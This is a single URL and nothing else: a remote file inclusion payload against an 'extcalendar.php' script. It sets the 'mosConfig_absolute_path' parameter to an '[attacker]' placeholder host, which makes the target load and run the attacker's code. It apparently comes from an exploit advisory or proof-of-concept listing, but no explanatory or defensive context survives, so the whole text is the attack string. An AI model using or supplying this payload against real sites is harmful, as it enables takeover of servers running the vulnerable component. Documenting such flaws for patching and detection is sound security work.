http://www.example.com/extcalendar.php?mosConfig_absolute_path=[attacker]